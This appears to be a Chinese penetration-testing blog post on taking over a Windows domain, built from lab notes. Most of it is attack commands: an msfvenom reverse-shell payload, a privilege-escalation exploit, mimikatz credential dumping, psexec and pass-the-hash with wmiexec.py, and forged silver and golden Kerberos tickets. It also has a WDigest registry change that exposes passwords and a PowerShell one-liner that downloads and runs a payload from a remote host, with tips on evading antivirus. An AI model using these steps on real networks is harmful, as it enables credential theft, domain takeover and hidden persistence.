zoukankan      html  css  js  c++  java
  • 17.域环境解决方案

    0x01.抓取明文密码

    1.msf抓域管密码

    因为在部署域环境的时候,第一次配置那个uac,取消uac,一般会用域管账号登录认证

    由于之前域环境是内网下的,所以kali设置一下内网中的静态ip

    实验准备用msf工具拿到一个win7域成员机器的sessions,然后使用suggester提一个权

    msf生成payload

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.119 LPORT=4444 -f exe -o /root/桌面/payload.exe
    

    msf设置监听

    image-20210811215632829

    win7

    image-20210811215737299

    kali拿到会话,放到后台,使用提权模块提权

    search sugg
    use 3
    show options
    set session 1
    run
    use exploit/windows/local/cve_2019_1458_wizardopium
    show options
    set session 1
    run
    得到一个会话,权限是system的
    

    image-20210811221100463

    然后加载kiwi,抓密码

    load kiwi           # 之所以提权是因为system权限能看到的东西更多
    creds_all
    

    image-20210811221718648

    使用psexec拿下域控会话,比3389更加隐蔽,也不会挤掉别人

    search psexec
    use 3
    show options
    set rhosts 192.168.1.1
    set SMBUser Administrator
    set SMBPass root.comQWE123
    set lport 5656
    run
    ipconfig
    

    image-20210811224129227

    现在就通过域管的明文密码,加上psexec,实现拿下域控,但是这些会话都是基于win7机器的,所以win7的会话不能丢

    利用条件:

    • 2008及其以下

    • 域管理员有登录过的记录

    • 2012及以上开启记录 , 指的是域成员机器

      reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1
      

      打开后需要重新登陆,可以强制锁屏

      rundll32 user32.dll,LockWorkStation
      

      实战中看似登录记录很难,但是很多域成员在初次设置uac策略的时候都会输入域管理员密码

    0x02.ntlm

    1.wmiexec.py

    前提也是域管登录了这台域成员机器,只不过因为域成员系统的原因你可能读不到明文了,只有hash

    假如你抓不到明文,只能有密文怎么办呢?可以通过ntlm进行横向

    image-20210811234101505

    ntlm是由域名,域用户和密码,三者进行hash运算,是一个唯一的标识符,类似cookie的东西
    

    工具:impacket下的wmiexec.py , 因为msf6.0以后,psexec不太支持用hash登录了

    impacket是基于网络协议做的一些工具

    https://github.com/SecureAuthCorp/impacket/tree/master/examples

    安装
    git clone https://github.com/SecureAuthCorp/impacket.git
    pip3 install -r requirements.txt
    python3 setup.py install
    
    使用:
    python3 wmiexec.py -hashes 428319dc747b841dfc3a211d991668db:877f2de761904b78491378dbff2b70fc
    LMhash (可以用同位数的0代替)                                                    NTLMhash
    qqy/administrator@192.168.199.229
    域名称/用户@ip
    

    实验:

    拿到域成员win7的sessions会话,提权到system

    加载kiwi读取hash

    load kiwi
    kiwi_cmd privilege::debug
    kiwi_cmd sekurlsa::logonpasswords
    

    拿到域管的hash

     Username : Administrator
             * Domain   : HACKER
             * NTLM     : d40facad2d74412a1e9c8f848257b80a
             * SHA1     : adfa6f25762840a62713551b38948fddd447a7a2
    

    使用wmiexec.py 拿到域管的cmd

    python3 wmiexec.py -hashes 428319dc747b841dfc3a211d991668db:d40facad2d74412a1e9c8f848257b80a HACKER/administrator@192.168.1.1
    

    wmiexec.py被杀率也是很高的,实战中可以做成exe,免杀一点

    image-20210814095157748

    然后可以配合cs,powershell无文件上线

    powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.109:80/a'))"
    
    实战中需要做下混淆,免杀
    

    image-20210814095954695

    2.在cs上pth常见利用方式

    首先,也是拿到一个域成员的权限,上线到cs上 , 这里演示通过msf中转到cs

    image-20210814102339173

    使用梼杌插件中的功能

    image-20210814102425984

    image-20210814102709402

    传递成功

    image-20210814102954947

    然后通过shell把win7中的payload.exe 通过share,上传到域管机器上,然后运行

    上传
    shell copy payload.exe \\192.168.1.1\C$\
    
    msf监听payload.exe中的端口
    
    运行
    shell at \\192.168.1.1 10.40 C:\payload.exe
    

    然后在msf上拿到了域管的控制权限,sysytem权限

    0x03.白银票据

    上面都是需要域管登录过域成员机器,如果没登陆过呢?白银票据来帮你

    示例:
    kerberos::golden /domain:hydra.com /sid:S-1-5-21-4188752632-3746001697-3968431413\
                                               域名称               当前用户的sid
    /target:dc.hydra.com /rc4:6f949c52336e143ff8a2f5957416a73a /service:cifs /user:ceshi /ptt
    		域控ip/计算机名    当前用户的ntml                                   伪造的服务   伪造的用户  白银票据
    		
    mimikatz kerberos::golden /domain:hacker.testlab /sid:S-1-5-21-3655987577-828589889-2834657367 /target:HACKER.TESTLAB /rc4:a26dbbdac8eca7761551049d76dddfee /service:cifs /user:ceshi /ptt
    

    image-20210814110541694

    然后就可以传文件,然后监听,运行文件,域管上线到cs上

    白银票据失败的原因 :

    sid可以更换下看看有没有其他的sid可以用的但是sid和ntlm一定要对应,这个比较关键

    服务可以换一下试试

    服务名称                           同时需要的服务
    WMI                                 HOST、RPCSS
    Powershell Remoting      HOST、HTTP
    winRM                              HOST.HTTP
    scheduled Tasks               HOST
    windows Fi1e share          CIFS
    LDAP                                 LDAP
    windows Remote Server RpCSS、LDAP、CIFS
    

    0x04.黄金票据tgt

    黄金票据更多的不是获取域控的权限,而是一种域内的权限维持的方法

    拿到域控,在域控的机器上制作一个票据 , 然后下载下来,默认在C:\windows\system32下面

    mimikatz kerberos::golden /admin:administrator /domain:hacker.testlab /sid:S-1-5-21-1720693672- 3610745784-2269473857 /krbtgt:1176ad25a126d316ed5ea4b60b3d71dd /ticket:administrator.kiribi [制作票据]
    
    mimikatz kerberos::golden /admin:administrator /domain:hacker.testlab /sid:S-1-5-21-3655987577-828589889-2834657367 /krbtgt:d40facad2d74412a1e9c8f848257b80a /ticket:administrator.kiribi
    
    sid和ntml用administrator的也可以
    

    image-20210814112149792

    以后你进入域中的任何一个域成员机器上,只要加载这个票据,就可以拿到域控权限

    mimikatz kerberos::ptt administrator.kiribi [加载票据]
    

    image-20210814112711071

    补充:

    信息收集工具
    theHarvester
    recon-ng         kali自带 vps国外
    
    ksubdomain    被动信息收集
    jsfinder             隐藏的连接找子域名
    
  • 相关阅读:
    泛型<T>,是你肿莫了,还是我错了...
    点名系统 附源码
    飞行棋(士) [窗口 控制台 自定义 版] 附源码
    C# 自定义常用代码段快捷键
    C++ MFC 操作文件夹及属性(新建,删除[包含子文件[夹]],剪切,复制,重命名)
    C++ MFC 文件操作(新建,删除,剪切,复制,读数据,写数据,重命名)
    ip修改器
    Python大数据系列-01-关系数据库基本运算
    英语进阶系列-A05-英语升级练习三
    Python数据可视化系列-01-快速绘图
  • 原文地址:https://www.cnblogs.com/xcymn/p/15721493.html
Copyright © 2011-2022 走看看